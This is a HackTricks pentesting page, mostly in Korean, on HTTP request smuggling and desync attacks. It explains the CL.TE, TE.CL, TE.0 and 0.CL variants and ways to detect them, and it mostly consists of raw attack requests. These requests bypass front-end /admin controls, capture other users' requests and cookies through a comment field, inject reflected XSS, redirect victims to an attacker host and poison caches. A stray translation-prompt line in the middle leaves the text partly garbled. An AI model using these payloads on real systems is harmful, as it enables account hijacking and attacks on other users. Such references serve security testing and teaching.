HTTP Request Smuggling / HTTP Desync Attack
Reading time: 30 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
개요
이 취약점은 프론트엔드 프록시와 백엔드 서버 사이의 동기화 불일치로 인해 공격자가 프론트엔드(로드밸런서/리버스 프록시)에서는 단일 요청으로, 백엔드에서는 2개의 요청으로 해석되는 HTTP 요청을 전송할 수 있을 때 발생합니다.
이로 인해 사용자는 자신의 요청 다음에 백엔드에 도착하는 요청을 수정할 수 있게 됩니다.
이론
If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
Content-Length
The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
Transfer-Encoding: chunked
The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks
현실
프론트엔드(로드밸런서 / 리버스 프록시)는 Content-Length 또는 Transfer-Encoding 헤더를 처리하고, 백엔드 서버는 다른 헤더를 처리하여 두 시스템 간에 동기화 불일치를 일으킬 수 있습니다.
이것은 매우 치명적일 수 있는데, 공격자는 리버스 프록시에 하나의 요청을 보내서 백엔드가 이를 두 개의 서로 다른 요청으로 해석하게 만들 수 있기 때문입니다. 이 기법의 위험성은 백엔드가 주입된 두 번째 요청을 다음 클라이언트로부터 온 것처럼 처리하고, 그 클라이언트의 실제 요청이 주입된 요청의 일부가 되어버린다는 점에 있습니다.
세부사항
HTTP에서 **새 줄 문자(new line)**는 2바이트로 구성된다는 것을 기억하세요(즉 CRLF).
- Content-Length: 이 헤더는 요청 본문의 바이트 수를 십진수로 표시합니다. 본문은 마지막 문자에서 끝나는 것으로 기대되며, 요청 끝에 추가적인 새 줄이 필요하지 않습니다.
- Transfer-Encoding: 이 헤더는 본문에서 다음 청크의 크기를 16진수로 표시합니다. 각 청크는 새 줄로 끝나야 하지만 이 새 줄은 길이 표시에서 계산되지 않습니다. 이 전송 방식은 크기가 0인 청크 뒤에 2개의 새 줄로 끝나야 합니다:
0 - Connection: 경험상 request smuggling을 시도할 때 첫 요청에서는
Connection: keep-alive를 사용하는 것이 권장됩니다.
Visible - Hidden
HTTP/1.1의 주요 문제는 모든 요청이 동일한 TCP 소켓으로 가기 때문에, 두 시스템이 요청을 받는 방식에 차이가 있으면 하나의 요청을 최종 백엔드(또는 중간 시스템)에서 서로 다른 여러 요청으로 처리되게 할 수 있다는 점입니다.
This blog post에서는 WAF에 의해 탐지되지 않는 시스템의 desync 공격을 새롭게 탐지할 방법을 제시합니다. 이를 위해 Visible vs Hidden 행동을 소개합니다. 이 경우의 목표는 실제로 아무 것도 익스플로잇하지 않고 desync를 유발할 수 있는 기법들을 사용해 응답의 불일치를 찾는 것입니다.
예를 들어, 정상적인 Host 헤더와 " host" 헤더를 함께 전송했을 때 백엔드가 이 요청에 대해 불평(예: " host" 값이 올바르지 않아서)을 한다면, 이는 프론트엔드가 " host" 헤더를 무시했지만 최종 백엔드는 이를 사용했음을 의미할 수 있으며, 프론트엔드와 백엔드 사이의 desync를 강하게 시사합니다.
이것은 Hidden-Visible 불일치가 됩니다.
반대로 프론트엔드가 " host" 헤더를 처리했지만 백엔드가 처리하지 않았다면, 이는 Visible-Hidden 상황에 해당합니다.
예를 들어, AWS ALB(프론트엔드)와 IIS(백엔드) 사이의 desync는 이런 방식으로 발견되었습니다. "Host: foo/bar"를 보냈을 때 ALB는 400, Server; awselb/2.0을 반환했으나, "Host : foo/bar"를 보냈을 때는 400, Server: Microsoft-HTTPAPI/2.0을 반환하여 백엔드가 응답을 보내고 있음을 나타냈습니다. 이는 Hidden-Visible (H-V) 상황입니다.
이 상황은 AWS에서 즉시 수정되지는 않았지만, routing.http.drop_invalid_header_fields.enabled를 설정하고 routing.http.desync_mitigation_mode = strictest로 설정하면 방지할 수 있습니다.
기본 예시
tip
Burp Suite로 이를 익스플로잇하려고 할 때는 repeater에서 **Update Content-Length**와 Normalize HTTP/1 line endings 를 비활성화하세요. 일부 gadget은 개행, 캐리지 리턴 및 잘못된 content-length를 악용합니다.
HTTP request smuggling 공격은 front-end와 back-end 서버가 Content-Length(CL)와 Transfer-Encoding(TE) 헤더를 해석하는 방식의 불일치를 이용해 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 CL.TE, TE.CL, TE.TE 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드가 이러한 헤더를 우선 처리하는 방식의 고유한 조합을 나타냅니다. 취약점은 동일한 요청을 서버들이 다르게 처리할 때 발생하며, 예상치 못한 악의적인 결과를 초래할 수 있습니다.
취약점 유형의 기본 예시

tip
이전 표에는 TE.0 기법도 추가해야 합니다. 이는 CL.0 기법과 유사하지만 Transfer-Encoding을 사용합니다.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL):
Content-Length헤더를 기준으로 요청을 처리합니다. -
Back-End (TE):
Transfer-Encoding헤더를 기준으로 요청을 처리합니다. -
공격 시나리오:
-
공격자는
Content-Length헤더 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다. -
프론트엔드는
Content-Length값에 따라 전체 요청을 백엔드로 전달합니다. -
백엔드는
Transfer-Encoding: chunked헤더 때문에 요청을 청크 형식으로 처리하여 남은 데이터를 별도의 후속 요청으로 해석합니다. -
예시:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE):
Transfer-Encoding헤더를 기준으로 요청을 처리합니다. -
Back-End (CL):
Content-Length헤더를 기준으로 요청을 처리합니다. -
공격 시나리오:
-
공격자는 청크 크기(
7b)와 실제 콘텐츠 길이(Content-Length: 4)가 일치하지 않는 chunked 요청을 전송합니다. -
프론트엔드는
Transfer-Encoding을 준수하여 전체 요청을 백엔드로 전달합니다. -
백엔드는
Content-Length를 존중하여 요청의 처음 부분(지정된 바이트 수)만 처리하고, 나머지는 의도치 않은 후속 요청의 일부로 남깁니다. -
예시:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
서버들: 둘 다
Transfer-Encoding을 지원하지만 하나는 난독화로 인해 이를 무시하도록 유도될 수 있습니다. -
공격 시나리오:
-
공격자는 난독화된
Transfer-Encoding헤더들을 포함한 요청을 보냅니다. -
어느 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점을 악용할 수 있습니다.
-
한 서버가 처리하지 않은 요청의 일부는 다른 서버에서 후속 요청의 일부가 되어 smuggling을 초래합니다.
-
예시:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- 두 서버 모두
Content-Length헤더만으로 요청을 처리합니다. - 이 시나리오는 보통 smuggling으로 이어지지 않는데, 이는 두 서버가 요청 길이를 일치하게 해석하기 때문입니다.
- 예시:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Length헤더가 존재하고 0이 아닌 값을 가지며, 이는 요청 본문에 내용이 있음을 나타내는 시나리오를 말합니다. 백엔드는Content-Length헤더를 무시(0으로 처리)하지만 프론트엔드는 이를 파싱하는 경우입니다.- 이는 smuggling 공격을 이해하고 구성할 때 중요합니다. 왜냐하면 서버들이 요청의 끝을 결정하는 방식에 영향을 주기 때문입니다.
- 예시:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- 위의 CL.0과 유사하지만 TE를 사용하는 경우입니다.
- Technique reported here
- 예시:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
0.CL 시나리오
0.CL 상황에서는 다음과 같이 Content-Length를 가진 요청이 전송됩니다:
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
그리고 front-end는 Content-Length를 고려하지 않아서 예시에서 7까지(즉 첫 번째 요청까지만) backend로 request를 보낸다. 그러나 backend는 Content-Length를 보고 본문(body)을 기다리는데, front-end는 이미 response를 기다리고 있기 때문에 그 본문은 결코 도착하지 않는다.
하지만 backend에 보낼 수 있는 요청 중 요청 본문을 받기 전에 응답을 반환하는 것이 있으면 이 deadlock은 발생하지 않는다. 예를 들어 IIS에서는 /con 같은 금지된 이름으로 요청을 보내면(자세한 내용은 documentation 참조), 초기 요청은 바로 응답되고 두 번째 요청은 피해자의 요청을 포함하게 된다:
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
이는 desync를 일으키는 데 유용하지만, 지금까지는 아무 영향이 없었습니다.
However, the post offers a solution for this by converting a 0.CL attack into a CL.0 with a double desync.
웹 서버 중단
이 기법은 초기 HTTP 데이터를 읽는 동안 웹 서버를 손상시킬 수 있지만 동시에 연결을 닫지 않는 상황에서도 유용합니다. 이렇게 되면 HTTP 요청의 body가 다음 HTTP 요청으로 간주됩니다.
For example, as explained in this writeup, In Werkzeug it was possible to send some Unicode characters and it will make the server break. However, if the HTTP connection was created with the header Connection: keep-alive, the body of the request won’t be read and the connection will still be open, so the body of the request will be treated as the next HTTP request.
hop-by-hop headers를 통한 강제
hop-by-hop headers를 악용하면 프록시에게 delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse.
Connection: Content-Length
For more information about hop-by-hop headers visit:
HTTP Request Smuggling 찾기
HTTP request smuggling 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있습니다. 이 기법들은 변조된 요청에 대해 서버가 응답하는 데 걸리는 시간을 관찰하는 것에 기반합니다. 이러한 방법들은 CL.TE 및 TE.CL 취약점을 탐지하는 데 특히 유용합니다. 이 방법들 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구들이 있습니다:
CL.TE 취약점 찾기 (타이밍 기법 사용)
-
방법:
-
애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
-
예:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
관찰:
-
프론트엔드 서버는
Content-Length를 기준으로 요청을 처리하고 메시지를 조기에 잘라냅니다. -
백엔드 서버는 chunked 메시지를 기대하고 있기 때문에 다음 chunk를 기다리며 응답 지연이 발생합니다.
-
지표:
-
타임아웃 또는 긴 응답 지연.
-
때로는 상세한 서버 정보와 함께 백엔드 서버로부터 400 Bad Request 오류를 수신.
TE.CL 취약점 찾기 (타이밍 기법 사용)
-
방법:
-
애플리케이션이 취약한 경우 백엔드 서버가 추가 데이터를 기다리게 만드는 요청을 전송합니다.
-
예:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- 관찰:
- 프론트엔드 서버는
Transfer-Encoding을 기준으로 요청을 처리하고 전체 메시지를 전달합니다. - 백엔드 서버는
Content-Length기반의 메시지를 기대하고 추가 데이터를 기다리기 때문에 지연이 발생합니다.
취약점 발견을 위한 기타 방법
- 차등 응답 분석:
- 요청의 약간씩 다른 버전을 전송하고 서버 응답이 예상치 못하게 다르게 나타나는지 관찰하여 파싱 불일치를 식별합니다.
- 자동화 도구 사용:
- Burp Suite의 'HTTP Request Smuggler' 같은 도구는 다양한 형태의 모호한 요청을 자동으로 전송하고 응답을 분석하여 이러한 취약점을 테스트할 수 있습니다.
- Content-Length 변동 테스트:
- 실제 콘텐츠 길이와 일치하지 않는 다양한
Content-Length값을 가진 요청을 전송하고 서버가 이러한 불일치를 어떻게 처리하는지 관찰합니다. - Transfer-Encoding 변형 테스트:
- 모호하거나 손상된
Transfer-Encoding헤더를 가진 요청을 보내 프론트엔드와 백엔드 서버가 이러한 조작에 대해 어떻게 다르게 반응하는지 모니터링합니다.
The Expect: 100-continue header
이 헤더가 http desync를 악용하는 데 어떻게 도움이 되는지 확인하세요:
HTTP Request Smuggling 취약점 테스트
타이밍 기법의 유효성을 확인한 후에는 클라이언트 요청을 조작할 수 있는지 검증하는 것이 중요합니다. 간단한 방법은 요청을 poisoning하려 시도하는 것으로, 예를 들어 /에 대한 요청이 404 응답을 반환하도록 만드는 것입니다. 앞서 Basic Examples에서 다룬 CL.TE 및 TE.CL 예제들은 클라이언트가 다른 리소스에 접근하려고 해도 클라이언트의 요청을 poisoning하여 404 응답을 유도하는 방법을 보여줍니다.
주요 고려사항
다른 요청을 방해하여 request smuggling을 테스트할 때 다음을 유의하세요:
- Distinct Network Connections: "attack" 요청과 "normal" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 동일한 연결을 사용하면 취약점 존재 여부를 검증할 수 없습니다.
- Consistent URL and Parameters: 가능한 한 두 요청에 대해 동일한 URL 및 파라미터 이름을 사용하세요. 현대 애플리케이션은 URL 및 파라미터에 따라 특정 백엔드 서버로 요청을 라우팅하는 경우가 많습니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위해 필요합니다.
- Timing and Racing Conditions: "normal" 요청(공격 요청의 간섭을 감지하기 위한)은 다른 동시 애플리케이션 요청들과 경쟁합니다. 따라서 "attack" 요청 직후 즉시 "normal" 요청을 전송하세요. 바쁜 애플리케이션에서는 결론을 내기 위해 여러 차례 시도가 필요할 수 있습니다.
- Load Balancing Challenges: 프론트엔드 서버가 로드 밸런서로 동작하면 요청을 여러 백엔드 시스템에 분산시킬 수 있습니다. "attack" 요청과 "normal" 요청이 서로 다른 시스템에 도착하면 공격은 성공하지 못합니다. 이 로드 밸런싱 특성 때문에 취약점을 확인하려면 여러 차례 시도가 필요할 수 있습니다.
- Unintended User Impact: 공격이 의도치 않게 다른 사용자의 요청(당신이 탐지용으로 보낸 "normal" 요청이 아닌)에 영향을 미쳤다면, 이는 당신의 공격이 다른 애플리케이션 사용자를 영향했다는 것을 의미합니다. 지속적인 테스트는 다른 사용자를 방해할 수 있으므로 주의가 필요합니다.
HTTP/1.1 pipelining 아티팩트와 genuine request smuggling 구분하기
Connection reuse (keep-alive)와 pipelining은 동일한 소켓에서 여러 요청을 전송하는 테스트 도구에서 쉽게 "smuggling"의 환상을 만들 수 있습니다. 무해한 클라이언트 측 아티팩트와 실제 서버 측 desync를 구분하는 법을 익히세요.
왜 pipelining이 고전적인 false positive를 만드는가
HTTP/1.1은 단일 TCP/TLS 연결을 재사용하고 동일한 스트림에서 요청과 응답을 연결합니다. pipelining에서는 클라이언트가 여러 요청을 연속으로 전송하고 순서대로 응답을 받기를 기대합니다. 일반적인 false-positive 사례는 단일 연결에서 잘못된 CL.0-style 페이로드를 두 번 재전송하는 것입니다:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
원본 파일(src/pentesting-web/http-request-smuggling/README.md)의 내용을 여기에 붙여넣어 주세요. 붙여넣어 주시면 요청하신 규칙(코드·기술명·태그·링크·경로 미번역 등)을 지켜 정확하게 한국어로 번역해 드리겠습니다.
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
만약 server가 잘못된 Content_Length를 무시했다면, FE↔BE desync는 발생하지 않는다. reuse 시, 당신의 client는 실제로 다음과 같은 byte-stream을 보냈고, server는 이를 두 개의 독립된 requests로 파싱했다:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impact: none. You just desynced your client from the server framing.
tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set
requestsPerConnection=1andpipeline=False. - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
- Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
- State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
- Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
Connection‑locked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)"). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
Browser HTTP Request Smuggling
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
note
Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
CL.TE attack에서는 초기 요청에 Content-Length 헤더가 사용되고, 이후 포함된 요청은 Transfer-Encoding: chunked 헤더를 사용합니다. front-end proxy는 초기 POST 요청을 처리하지만 포함된 GET /admin 요청을 검사하지 못해 /admin 경로에 대한 무단 접근을 허용합니다.
TE.CL Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
반대로, TE.CL 공격에서는 초기 POST 요청이 Transfer-Encoding: chunked를 사용하고, 그에 이어 포함된 요청은 Content-Length 헤더를 기준으로 처리된다. CL.TE 공격과 유사하게, 프런트엔드 프록시(front-end proxy)는 몰래 전송된 GET /admin 요청을 간과하여 제한된 /admin 경로에 의도치 않게 접근을 허용한다.
프런트엔드의 요청 재작성 확인
애플리케이션은 종종 백엔드 서버로 전달하기 전에 들어오는 요청을 수정하기 위해 front-end server를 사용한다. 일반적인 수정 예로는 클라이언트의 IP를 백엔드로 전달하기 위해 X-Forwarded-For: <IP of the client> 같은 헤더를 추가하는 것이 있다. 이러한 수정 방식을 이해하는 것은 중요할 수 있으며, 이는 보호 장치를 우회(bypass protections) 하거나 숨겨진 정보나 엔드포인트를 발견(uncover concealed information or endpoints) 하는 방법을 드러낼 수 있다.
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 파라미터를 찾으라. 그런 다음 이 파라미터를 마지막에 두고 다음과 유사한 요청을 만들어라:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
이 구조에서는 후속 요청 구성 요소가 search= 뒤에 이어 붙여지며, 이 파라미터가 응답에 반영됩니다. 이 반영으로 인해 후속 요청의 헤더가 노출됩니다.
중첩된 요청의 Content-Length 헤더를 실제 콘텐츠 길이에 맞추는 것이 중요합니다. 작은 값에서 시작해 조금씩 증가시키는 것이 바람직합니다. 값이 너무 작으면 반영된 데이터가 잘리게 되고, 너무 크면 요청이 에러를 발생시킬 수 있습니다.
이 기법은 TE.CL 취약점 상황에서도 적용할 수 있지만, 요청은 search=\r\n0으로 종료되어야 합니다. 개행 문자와 관계없이 값들은 search 파라미터에 추가됩니다.
이 방법은 주로 front-end proxy가 요청을 어떻게 수정하는지 이해하는 데 사용되며, 사실상 자체적인 조사(self-directed investigation)를 수행하는 것입니다.
다른 사용자의 요청 캡처하기
POST 동작 중 파라미터의 값으로 특정 요청을 추가하면 다음 사용자의 요청을 캡처하는 것이 가능합니다. 방법은 다음과 같습니다:
다음 요청을 파라미터 값으로 추가하면 이후 클라이언트의 요청을 저장할 수 있습니다:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
이 시나리오에서 comment parameter는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내 내용을 저장하도록 설계되어 있습니다. 따라서 이후 요청의 내용은 댓글로 표시됩니다.
하지만 이 기법에는 한계가 있습니다. 일반적으로 스머글된 요청에서 사용되는 파라미터 구분자까지의 데이터만 캡처합니다. URL-encoded form 제출의 경우 이 구분자는 & 문자입니다. 즉, 피해자 사용자의 요청에서 캡처된 내용은 첫 번째 &에서 멈추며, 그 &가 쿼리 문자열의 일부일 수도 있습니다.
추가로, 이 방법은 TE.CL 취약점이 있는 경우에도 유효하다는 점을 주목할 필요가 있습니다. 그런 경우 요청은 search=\r\n0으로 종료되어야 합니다. 줄바꿈 문자와 상관없이 값들은 search 파라미터에 추가됩니다.
HTTP request smuggling을 사용해 Reflected XSS 악용하기
HTTP Request Smuggling은 Reflected XSS에 취약한 웹 페이지를 악용하는 데 활용될 수 있으며, 다음과 같은 큰 장점을 제공합니다:
- 타깃 사용자와의 상호작용이 필요하지 않습니다.
- HTTP request headers와 같이 일반적으로 도달할 수 없는 요청의 일부에서 XSS를 악용할 수 있습니다.
웹사이트가 User-Agent 헤더를 통해 Reflected XSS에 취약한 시나리오에서는, 다음 payload가 이 취약점 악용 방법을 보여줍니다:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
이 payload는 취약점을 다음과 같은 방식으로 악용하도록 구성되어 있습니다:
- 일반적인 것처럼 보이는
POST요청을 시작하고,Transfer-Encoding: chunked헤더로 smuggling의 시작을 표시합니다. - 이어서
0을 전송하여 chunked 메시지 바디의 끝을 표시합니다. - 그 다음 smuggled된
GET요청이 삽입되며, 여기서User-Agent헤더에<script>alert(1)</script>스크립트가 주입되어 서버가 해당 후속 요청을 처리할 때 XSS를 유발합니다.
User-Agent를 smuggling으로 조작함으로써, payload는 일반적인 요청 제약을 bypass하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
HTTP/0.9
caution
사용자 입력이 **Content-type**이 text/plain 같은 응답에 반영되어 XSS 실행이 차단되는 경우가 있습니다. 서버가 HTTP/0.9를 지원한다면 이것을 bypass할 수 있습니다!
HTTP/0.9 버전은 1.0 이전 버전으로, GET만 사용하며 응답 시 headers를 포함하지 않고 바디만 전송합니다.
In this writeup, 이것은 request smuggling과 사용자 입력을 그대로 응답하는 vulnerable endpoint를 악용해 HTTP/0.9 요청을 smuggle하는 데 사용되었습니다. 응답에 반영될 파라미터는 **가짜 HTTP/1.1 응답(헤더와 바디 포함)**을 담고 있어서, 응답은 Content-Type이 text/html인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
On-site Redirects를 HTTP Request Smuggling으로 악용하기
애플리케이션은 종종 리다이렉트 URL에 Host 헤더의 호스트명을 사용해 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache나 IIS 같은 웹서버에서 흔합니다. 예를 들어, 폴더 요청 시 끝에 슬래시가 없으면 슬래시를 포함하도록 리다이렉트됩니다:
GET /home HTTP/1.1
Host: normal-website.com
결과:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
겉보기에는 무해해 보이지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
이 smuggled request는 다음에 처리되는 사용자 요청을 attacker-controlled website로 리디렉션시킬 수 있습니다:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
결과:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
이 시나리오에서는 사용자의 JavaScript 파일 요청이 가로채집니다. 공격자는 응답으로 악성 JavaScript를 제공해 사용자를 침해할 수 있습니다.
Exploiting Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning은 성능 향상을 위해 front-end infrastructure가 콘텐츠를 캐시하는 경우 실행될 수 있습니다. 서버의 응답을 조작함으로써 poison the cache하는 것이 가능합니다.
앞서 서버 응답을 조작해 404 오류를 반환하도록 만드는 방법을 살펴보았습니다(참조: Basic Examples). 유사하게, 서버를 속여 /static/include.js 요청에 대해 /index.html 내용을 반환하게 만들 수 있습니다. 결과적으로 /static/include.js의 내용이 캐시에서 /index.html의 내용으로 대체되어 /static/include.js에 접근하는 사용자가 영향을 받아 잠재적으로 Denial of Service (DoS)가 발생할 수 있습니다.
이 기법은 Open Redirect vulnerability가 발견되었거나 on-site redirect to an open redirect가 존재하는 경우 특히 강력해집니다. 이러한 취약점을 이용하면 캐시된 /static/include.js 내용을 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 /static/include.js를 요청하는 모든 클라이언트에 대해 광범위한 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
